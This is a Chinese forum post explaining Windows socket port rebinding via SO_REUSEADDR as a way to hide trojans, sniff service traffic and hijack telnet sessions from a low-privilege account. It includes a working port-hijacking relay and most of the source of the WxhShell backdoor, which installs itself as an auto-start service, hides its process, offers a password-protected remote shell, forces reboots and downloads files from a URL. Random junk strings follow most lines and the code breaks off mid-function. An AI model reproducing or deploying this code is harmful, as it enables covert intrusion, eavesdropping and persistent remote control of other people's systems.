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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %]<RRH.w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0/:=wn^pg  
JOdwv4(3V  
  saddr.sin_family = AF_INET; U$A7EFK'  
|#&V:GZp  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '8l yj&  
N2tkCkl^x9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3u4*ofjE5  
:6W^ S/pf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $Pd|6  
9si}WqAw  
  这意味着什么?意味着可以进行如下的攻击:   ^RV  
#H;hRl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W{A #]r l  
w<Yv`$-`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CzSZ>E$%U  
fK'.wX9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x[vBK8  
wHt J_Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Zlk,])9Q  
zkh hN"bX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sOl>5:D6  
oQ%\[s$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g8I!E$  
d@4rD}_Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \L ]   
V#NG+U.B  
  #include ~!ZmF(:  
  #include T A\4uy6o  
  #include K$GRJ  
  #include    ^qeY9O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (T|TEt  
  int main() j2 }  
  { c~^CKgr~R9  
  WORD wVersionRequested; H|;*_  
  DWORD ret; |DE%SVZB  
  WSADATA wsaData; !/j,hO4Z4  
  BOOL val; hIuMHq7h  
  SOCKADDR_IN saddr; .hX0c"f]b  
  SOCKADDR_IN scaddr; `/O`OrZ1K  
  int err; Tm)GC_  
  SOCKET s; OJP5k/U$  
  SOCKET sc; T- |9o|~z  
  int caddsize; gB>imr#e&  
  HANDLE mt; MzQ\rg_B7  
  DWORD tid;   pb^,Qvnp   
  wVersionRequested = MAKEWORD( 2, 2 ); ]*N:;J  
  err = WSAStartup( wVersionRequested, &wsaData ); V1SqX:;b&  
  if ( err != 0 ) { >ZT& `E  
  printf("error!WSAStartup failed!\n"); Vi|7%!j<  
  return -1; y?pD(u  
  } M18qa,fK{  
  saddr.sin_family = AF_INET; +Edzjf~Tt  
   /gz:zThf{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G'f9N^w  
<4bz/^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j8GY`f#  
  saddr.sin_port = htons(23); <S1??  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -<qxO  
  { :dP~.ZY7  
  printf("error!socket failed!\n"); {O^TurbTFA  
  return -1; l{Jt sI  
  } t;8\fIW5  
  val = TRUE; 8Q2]*%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B.$PhmCG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5@P%iBA4(3  
  { n /QfdAg  
  printf("error!setsockopt failed!\n"); q!6|lZB3  
  return -1; &]P"48NT  
  } DY9fF4[9a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :{LAVMG&^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2fl4h<V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &E bI Op  
6M ^IwE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AZwl fdLB  
  { @}<"N  
  ret=GetLastError(); Q%ruQ#  
  printf("error!bind failed!\n"); 8|O=/m^]  
  return -1; N&T:Lt_N  
  } 43zUN  
  listen(s,2); +TC1nkX  
  while(1) *>jjMyn  
  { LA-_3UJx  
  caddsize = sizeof(scaddr); #HeM,;Xp  
  //接受连接请求 q-3]jHChh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2fJ{LC  
  if(sc!=INVALID_SOCKET) v:KX9A.  
  { }A]BpSEP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,c>N}*6h=W  
  if(mt==NULL) ^q ;Cx7T_p  
  { FigR1/3o'6  
  printf("Thread Creat Failed!\n"); gQ37>  
  break; 0rD#s{?   
  } mjb { ~  
  } nV}8M  
  CloseHandle(mt); (}Sr08m  
  } No) m/17y  
  closesocket(s); Sp:l;SGd  
  WSACleanup(); gv#4#]  
  return 0; Ia2(Km  
  }   mN;+TN'?{  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?GdsOg^  
  { eNRs&^  
  SOCKET ss = (SOCKET)lpParam; !X|k"km"  
  SOCKET sc; {<2>6 _z  
  unsigned char buf[4096]; hd B |#t  
  SOCKADDR_IN saddr; #,L~w  
  long num; 8tLHr@%%  
  DWORD val; XS?gn.o\  
  DWORD ret; ZK6Hvc0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o0ZIsrr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    1,,|MW  
  saddr.sin_family = AF_INET; ak;6z]f8[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n@!wp/J,  
  saddr.sin_port = htons(23); +\0T\;-Xe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OL'P]=U  
  { \fZiL!E^7  
  printf("error!socket failed!\n"); -4w%Iy  
  return -1; rK1-Mu  
  } Z!6UW:&~7  
  val = 100; _%y4q%#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w u)Wg-dT  
  { i9rS6<V'  
  ret = GetLastError(); A>=E{  
  return -1; +4et7  
  } %,\=s.~1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xRum*}|4  
  { %r%So_^  
  ret = GetLastError(); i|]7(z#OyI  
  return -1; a+`D'?z  
  }  PWH^=K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3JO]f5  
  { }aF  
  printf("error!socket connect failed!\n"); jk*tL8?i  
  closesocket(sc); wv?RO*E  
  closesocket(ss); BcQEG *N  
  return -1; E{4 e<%Y,  
  } gbDX7r-  
  while(1) 0:"2MSf>  
  { mdW~~-@H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VWx]1\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %MZP)k,&U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ` #OSl  
  num = recv(ss,buf,4096,0); .2W"w)$nuq  
  if(num>0) mT @ nn,  
  send(sc,buf,num,0); n[,XU|2  
  else if(num==0) 0*8TS7.3  
  break; C!+I>J{4f  
  num = recv(sc,buf,4096,0); 5G[x}4U  
  if(num>0) xCXQ<77  
  send(ss,buf,num,0); Y9Z]i$qS&k  
  else if(num==0) Z^yNLF*&V  
  break; qnChM ;)  
  } `zA#z />  
  closesocket(ss); 1vnYogL   
  closesocket(sc); , sjh^-;  
  return 0 ; Zd!U')5/  
  } ;f1qLI  
Io  n~  
NBYH;h P  
========================================================== x|i_P|Z  
k7@t{Cu0D&  
下边附上一个代码,,WXhSHELL > Lft9e   
8`=v.   
========================================================== s@8w-]"  
-TO\'^][X  
#include "stdafx.h" w_hHfZ9E  
ALc`t(..}A  
#include <stdio.h> a0=WfeT  
#include <string.h> / 3!fA=+  
#include <windows.h> tyh@ ^7  
#include <winsock2.h> %eg+F  
#include <winsvc.h> H,QTYXi "  
#include <urlmon.h> y7/F _{  
j$Ab>}g]  
#pragma comment (lib, "Ws2_32.lib") E{E0Z9t7&  
#pragma comment (lib, "urlmon.lib") t)f-mQz)  
S<`I Jpkv  
#define MAX_USER   100 // 最大客户端连接数 e}hmS1>H  
#define BUF_SOCK   200 // sock buffer 'n;OB4  
#define KEY_BUFF   255 // 输入 buffer mh.+."<)F  
Ts.wh>`  
#define REBOOT     0   // 重启 8|6 4R:  
#define SHUTDOWN   1   // 关机 $q$7^ r@  
i/H+xrCK  
#define DEF_PORT   5000 // 监听端口 C0jj(ku&  
}}&#|)Yq  
#define REG_LEN     16   // 注册表键长度 GZip\S4Y  
#define SVC_LEN     80   // NT服务名长度 A\fb<  
v{aq`uH  
// 从dll定义API :Dt~e|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); - e"jw#B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .,0bE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =WIJ>#Go<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1vzb8.  
#bX9Tu0  
// wxhshell配置信息 *v ?m6R=)h  
struct WSCFG { A A^{B  
  int ws_port;         // 监听端口 2ZcKK8X;7  
  char ws_passstr[REG_LEN]; // 口令 zK|i='XSf  
  int ws_autoins;       // 安装标记, 1=yes 0=no PjKEC N  
  char ws_regname[REG_LEN]; // 注册表键名 ^r6!l.  
  char ws_svcname[REG_LEN]; // 服务名 [F!Y%Zp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w[tmCn+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }e2VY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vS\Nd1~?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]hos+;4p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZJPmR/OV_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^D%FX!$  
ziPR>iz-  
}; ",6M)3{|c  
#>lG7Ns|4  
// default Wxhshell configuration #J (~_%Wi  
struct WSCFG wscfg={DEF_PORT, JN+_|`  
    "xuhuanlingzhe", jhu07HX_  
    1, N IdZ  
    "Wxhshell", El\%E"Tk%  
    "Wxhshell", yAL[[  
            "WxhShell Service", GZI`jS"lU  
    "Wrsky Windows CmdShell Service", 'k;rH !R  
    "Please Input Your Password: ", wX  >*H  
  1, #$1Z  
  "http://www.wrsky.com/wxhshell.exe", k:jSbbQ  
  "Wxhshell.exe" I[)%,jd  
    }; mKr h[nA  
h2ytS^  
// 消息定义模块 &xRo^iV?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %\]* OZ7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L:XC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wLK07e(  
char *msg_ws_ext="\n\rExit."; *na?n2Yzt  
char *msg_ws_end="\n\rQuit."; A,sr[Pa@  
char *msg_ws_boot="\n\rReboot..."; V|(H|9  
char *msg_ws_poff="\n\rShutdown..."; 8J$|NYv_b  
char *msg_ws_down="\n\rSave to "; 9mA{K    
[8tL"G6s  
char *msg_ws_err="\n\rErr!"; ^[:p|U2mA  
char *msg_ws_ok="\n\rOK!"; 1-lu\"H`  
nRyU]=-X  
char ExeFile[MAX_PATH]; n]E?3UGD@W  
int nUser = 0; k0Ol*L!p  
HANDLE handles[MAX_USER]; 2hzsKkrA {  
int OsIsNt; {~Rk2:gx  
aDO !  
SERVICE_STATUS       serviceStatus; '%q$` KDb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (L^]Lk x)  
pe^u$YE  
// 函数声明 'Ut7{rZ5  
int Install(void); hjZKUM G(k  
int Uninstall(void); 6DH~dL_",%  
int DownloadFile(char *sURL, SOCKET wsh); "g$IP9?U  
int Boot(int flag); /p8dZ+X  
void HideProc(void); O,Cb"{qH8  
int GetOsVer(void); nBk)WX&[K  
int Wxhshell(SOCKET wsl); u\C lP#  
void TalkWithClient(void *cs); ` ,SiA-3*  
int CmdShell(SOCKET sock); H\TI[JPAl  
int StartFromService(void); g$b<1:8  
int StartWxhshell(LPSTR lpCmdLine); dCRyOid$  
/~zai}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y "/]|'p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ 4kc/a  
#B4%|v;`E?  
// 数据结构和表定义 +HBd %1  
SERVICE_TABLE_ENTRY DispatchTable[] = 8F'x=lIO  
{ s&RVJX>Rt  
{wscfg.ws_svcname, NTServiceMain}, 6Vz9?puD  
{NULL, NULL} \[y`'OD~  
}; 17`1SGZ  
~]QHk?[wc  
// 自我安装 nDHTV !]<  
int Install(void) oH_;4QU4y  
{ 'FDef#P<  
  char svExeFile[MAX_PATH]; =weSyZ1~  
  HKEY key; -3Hy*1A.  
  strcpy(svExeFile,ExeFile); Mnscb  
zG(\+4GE!  
// 如果是win9x系统,修改注册表设为自启动 Q)IKOt;N]  
if(!OsIsNt) { xL\0B,]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { thI F&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Evedc*z~P  
  RegCloseKey(key); $m/)FnU/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZjF 4v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )c)vTZy  
  RegCloseKey(key); s,]z[qB#$  
  return 0; }hhGu\  
    } !O<)\ )|g  
  } "g1)f"pL  
} k7T`bYv  
else { ,^2>k3=  
"thdPZ  
// 如果是NT以上系统,安装为系统服务 Fvbh\m ~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4rLL[??  
if (schSCManager!=0) !6*"(  
{ t+!$[K0/  
  SC_HANDLE schService = CreateService hpD!2 K3>  
  ( ^zQ/mo,Z  
  schSCManager, `Tv[DIVW  
  wscfg.ws_svcname, a6uJYhS~  
  wscfg.ws_svcdisp, |>dI/_'  
  SERVICE_ALL_ACCESS, =w{Z@S(ukz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?`PvL!'  
  SERVICE_AUTO_START, lE4HM$p   
  SERVICE_ERROR_NORMAL, _sTROd)Vh  
  svExeFile, =`H@%  
  NULL, 'F9jq  
  NULL, OG>}M$ Ora  
  NULL, iMDM1}b  
  NULL, ~kEI4}O  
  NULL uFinv2Z '  
  ); ~ v|>xqWV  
  if (schService!=0) `u&Rsz&^  
  { xD~5UER  
  CloseServiceHandle(schService); DK: o]~n  
  CloseServiceHandle(schSCManager); J^Wa8Q;9lX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [J?aD`{#O  
  strcat(svExeFile,wscfg.ws_svcname); F^];U+J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <+?7H\b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W *),y:  
  RegCloseKey(key); <^5Z:n!q  
  return 0; t*1fLumXR  
    } 7`DBS^O]dG  
  } $#9;)8J  
  CloseServiceHandle(schSCManager); .uMn0PE   
} o<pf#tifv  
} $Avjnm  
z`f($t[  
return 1; l)1r+@) \  
} /rnu<Q#iH  
f'EuY17w  
// 自我卸载 l 3ko?k  
int Uninstall(void) -z)n?(pftm  
{ RC7]'4o  
  HKEY key; wsI`fO^A8  
K;?m';z0  
if(!OsIsNt) { Qp_isU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b*c*r dTx  
  RegDeleteValue(key,wscfg.ws_regname); *zb Nd:i9  
  RegCloseKey(key); 5K>3My#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~j}cyHg  
  RegDeleteValue(key,wscfg.ws_regname); dMv=gdY  
  RegCloseKey(key); su{poQ}K  
  return 0; d928~y W  
  } | *2w5iR  
} "n(hfz0y%  
} >UiYL}'br6  
else { Vc\MV0lr  
rWa2pO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W$hx,VEy`  
if (schSCManager!=0) &=] ~0$  
{ Yg%I?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 96( v  
  if (schService!=0) `{3<{wgw  
  { L*xhGoC=  
  if(DeleteService(schService)!=0) { ?PeJlpYzV  
  CloseServiceHandle(schService); s >7}zU]  
  CloseServiceHandle(schSCManager); ls\WXCH  
  return 0; =.Pw`.  
  } /R]U}o^/(%  
  CloseServiceHandle(schService); tdBm (CsN  
  } N +Yxz;Mg  
  CloseServiceHandle(schSCManager); GfoLae  
} [8 ]z|bM  
} @\0ez<.p}  
bnf'4PAt  
return 1; pjKWtY@=X  
} `VA"vwz  
=Y{(%sn  
// 从指定url下载文件 <\r T%f}3^  
int DownloadFile(char *sURL, SOCKET wsh) >E;uU[v)I  
{ \A 2r]  
  HRESULT hr; K[YI4pt7  
char seps[]= "/"; @ym v< Mo  
char *token; QwW&\h[8?  
char *file; y-'$(x  
char myURL[MAX_PATH]; :~"CuB/  
char myFILE[MAX_PATH]; :~&~y-14  
FH?U(-  
strcpy(myURL,sURL); \)#kquH/l  
  token=strtok(myURL,seps); 1H? u Qy  
  while(token!=NULL) 5sj4;w[  
  { 7zXvnxYE  
    file=token; )WNzWUfn=z  
  token=strtok(NULL,seps); 4Tb #fH%  
  }  HSjlD{R  
3`t#UY).F  
GetCurrentDirectory(MAX_PATH,myFILE); Kr gFKRgGj  
strcat(myFILE, "\\"); eenH0Ovv  
strcat(myFILE, file); 7Wf/$vRab  
  send(wsh,myFILE,strlen(myFILE),0); 4[m`#  
send(wsh,"...",3,0); &#{Z( h.de  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V\ZGd+?  
  if(hr==S_OK) UOv+T8f=  
return 0; k9sh @ENy  
else ] {RDVA=]  
return 1; ;w{tv($$  
T"{>t  
} S'Q@ScJ  
#++lg{  
// 系统电源模块 &FMc?wq  
int Boot(int flag) QO<jI#  
{ ` 06;   
  HANDLE hToken; jl4rbzse  
  TOKEN_PRIVILEGES tkp; K -nF lPm\  
~ (|5/ p7t  
  if(OsIsNt) { d[@X%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {j.bC@hWw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ec3}_`  
    tkp.PrivilegeCount = 1; |7'df&CA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *v;2PP[^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CM/H9Kz.  
if(flag==REBOOT) { $O&b``  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9&-dTayIz  
  return 0; Sq>dt[7  
} DrKP%BnS  
else { |HiE@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y`Wty@  
  return 0; >:74%D0UF  
} yZ0-wI  
  } g!g#]9j  
  else { e(]!GA  
if(flag==REBOOT) { Zi*2nv '  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kvL=> A  
  return 0; ne>pOK<vZ  
} Nyku4r0  
else { (yH'{6g\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [^WC lRF  
  return 0; Fco`^kql.D  
} {{$Nqn,pH  
} ,;EIh}  
 :|>h7v  
return 1; G)EU_UE 9  
} 8zZvht*  
h{)kQLuzT  
// win9x进程隐藏模块 ep!Rf:  
void HideProc(void) H[6:_**?o  
{ +F R0(T  
H*d9l2,KZS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]AINK UI0  
  if ( hKernel != NULL ) O*hDbM2QQw  
  { Y+kfBvxyf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -$pzl,^ h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lEH65;Nh*  
    FreeLibrary(hKernel); _F6OM5F"N  
  } :i0uPh\0  
$njUXSQ;  
return; !y\'EW3|G  
} XQY#716)  
8r*E-akuyr  
// 获取操作系统版本 cXA i k-  
int GetOsVer(void) %^?fMeI|Y  
{ Y@;CF  
  OSVERSIONINFO winfo; &C `Gg<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E(*0jAvO[z  
  GetVersionEx(&winfo); wg9t)1k{e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *D'22TO[[!  
  return 1; 9 &$y}Y  
  else -WY<zJ  
  return 0; cVXLKO  
} 0eT(J7[ <  
LoURC$lS  
// 客户端句柄模块 !O\82d1P  
int Wxhshell(SOCKET wsl) vDp8__^  
{ G"r1+#  
  SOCKET wsh; _~'=C#XI)  
  struct sockaddr_in client; Ansk,$  
  DWORD myID; 1$xNUsD2  
h1j!IG  
  while(nUser<MAX_USER) ty8q11[8  
{ tZ]?^_Y1  
  int nSize=sizeof(client); / kF)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8V~k5#&Ow  
  if(wsh==INVALID_SOCKET) return 1; P@,XEQRd`  
,kyJAju>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $jjfC  
if(handles[nUser]==0) p\Q5,eg  
  closesocket(wsh); W/=.@JjI  
else G4Q[Th  
  nUser++; :">!r.Q  
  } Uf1!qP/H?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T(#J_Y  
R}-(cc%5  
  return 0; 4zXFuTr($  
} X1DF*wI  
C(eTR1  
// 关闭 socket 4R#chQ  
void CloseIt(SOCKET wsh) ?fQ'^agq  
{ @bi}W`  
closesocket(wsh); RF`.xQ26=  
nUser--; OTvPUkp*  
ExitThread(0); 1D7nkAy  
} EGGWrl}1  
~IY%  
// 客户端请求句柄 j5(Z_dm'  
void TalkWithClient(void *cs) {dhXIs  
{ ]tim,7s  
z{8bvuE  
  SOCKET wsh=(SOCKET)cs; KWq+PeB5TS  
  char pwd[SVC_LEN]; B?OFe'*  
  char cmd[KEY_BUFF]; o8 IL $:  
char chr[1]; $By< $  
int i,j; 8^kGS-+^  
/}((l%UE.  
  while (nUser < MAX_USER) { u0}vWkn\4  
y;4OY  
if(wscfg.ws_passstr) { 1NbG>E#Ol  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R6 y#S&]x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u]g%@3Pn  
  //ZeroMemory(pwd,KEY_BUFF); fZ6MSAh  
      i=0; |5X^u+_  
  while(i<SVC_LEN) { VRVO-Sk  
M  f}~{+  
  // 设置超时 c_dVWh e  
  fd_set FdRead; zKyyU}LHH  
  struct timeval TimeOut; I )~GZ  
  FD_ZERO(&FdRead); ;d@#XIS&-(  
  FD_SET(wsh,&FdRead); 'S20\hwt-  
  TimeOut.tv_sec=8; <kfnpB=  
  TimeOut.tv_usec=0; h! M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %Si6]3-^@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); To\QjP-  
OstQqV%@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a Fl;BhM  
  pwd=chr[0]; i"1Mfz~e  
  if(chr[0]==0xd || chr[0]==0xa) { O+nEXS\rQ  
  pwd=0; jkQ*D(;p  
  break; t^UxR@l<K|  
  } W 6^5YH%  
  i++; jqz ux[6{  
    } pD8+ 4;A  
~jWn4 \  
  // 如果是非法用户,关闭 socket @CNi{. RX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #{6{TFx\  
} l?\jB\,  
pg6cF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S~<$H y*kh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D+#E -8  
L s G\OG  
while(1) { kAKK bmE  
d .[8c=$  
  ZeroMemory(cmd,KEY_BUFF); #?RU;1)Cw  
2\R'@L*  
      // 自动支持客户端 telnet标准   _1!7V3|^  
  j=0; xn?a. 3b'  
  while(j<KEY_BUFF) { m1j*mtu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QpF;:YX^3  
  cmd[j]=chr[0]; vXev$x=w-  
  if(chr[0]==0xa || chr[0]==0xd) { DMs,y{v  
  cmd[j]=0; b k~( ^!R  
  break; N(O9&L*4fm  
  } %9 SJ E  
  j++; i9rN9Mq?O  
    } @g|v;B|{  
u/UrAqw  
  // 下载文件 @Rg/~\K  
  if(strstr(cmd,"http://")) {  nI[os  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >R|/M`<ph  
  if(DownloadFile(cmd,wsh)) n"$jG:A QJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R%Hi+#/dr-  
  else +[Dx?XM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u :}%xD6  
  } Y`KqEjsC*  
  else { LmRy1T,act  
Dxtp2wu%t  
    switch(cmd[0]) { S};#+ufgTt  
  SbcS]H5Sk  
  // 帮助 .[YuRLGz  
  case '?': { !'Ak&j1:`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Plc-4y1  
    break; 1&\0:vA^Y  
  } ;[(oaK@+n  
  // 安装 y$;/Vm_'  
  case 'i': { []D&bYpv  
    if(Install()) _qU4Fadgm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C=-=_>Q,L<  
    else 3W V"U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zlyS}x@p  
    break; 3Nl <p"=  
    } ;:iY)}  
  // 卸载 8bxfj<O,  
  case 'r': { O8^A5,2@3>  
    if(Uninstall()) ,yC-+VL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #OZ>V3k  
    else f}6s Q5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o5d%w-'  
    break; tE.FrZS  
    } G `+T+  
  // 显示 wxhshell 所在路径 A4Rug\p]  
  case 'p': { #HYr0Tw6`  
    char svExeFile[MAX_PATH]; 2{D{sa  
    strcpy(svExeFile,"\n\r"); 9X[kEl  
      strcat(svExeFile,ExeFile); u\a#{G;Z  
        send(wsh,svExeFile,strlen(svExeFile),0); r+'qd)  
    break; \1d (9jR  
    } ~W*FCG#E  
  // 重启 Q[Z8ok  
  case 'b': { }I2wjO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T _r:4JS  
    if(Boot(REBOOT)) oVnvO iAc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y>:N{|  
    else { 1}S S+>`  
    closesocket(wsh); rUwZMli  
    ExitThread(0); bw(a6qKK  
    } 'QJ:`)z  
    break; 90Pl$#cb2  
    } Fiv3 {.  
  // 关机 ,Z aRy$?  
  case 'd': { {SOr#{1z*  
